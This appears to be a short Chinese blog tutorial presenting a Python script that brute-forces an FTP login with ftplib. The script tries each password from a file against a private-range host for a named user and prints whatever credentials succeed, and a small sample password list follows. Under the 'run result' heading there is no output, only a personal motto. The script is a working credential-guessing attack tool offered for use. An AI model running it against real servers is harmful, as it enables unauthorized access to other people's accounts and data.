1、首先要知道FTP用户名,这里使用renqiyuan。
2、自定义一个密码文件pass.txt,进行暴力破解。
代码如下:
#!/usr/bin/python # -*- coding: utf-8 -*- import ftplib def ftpLogin(host, Name, PassFile): #读取密码文件 PF = open(PassFile, 'r') for line in PF.readlines(): name = Name passwd = str(line).strip() print("Trying: "+name+"/"+passwd) try: ftp = ftplib.FTP(host) ftp.login(name,passwd) print("登录成功",name, passwd) ftp.quit() return (name, passwd) except Exception as e: pass print("没有找到正确的密码") return None hostName = '172.16.10.200' passwordFile = 'pass.txt' if __name__ == '__main__': ftpLogin(hostName, "renqiyuan", passwordFile)
密码文件:
2222 123 123 123 111111 231 123
运行结果
读书和健身总有一个在路上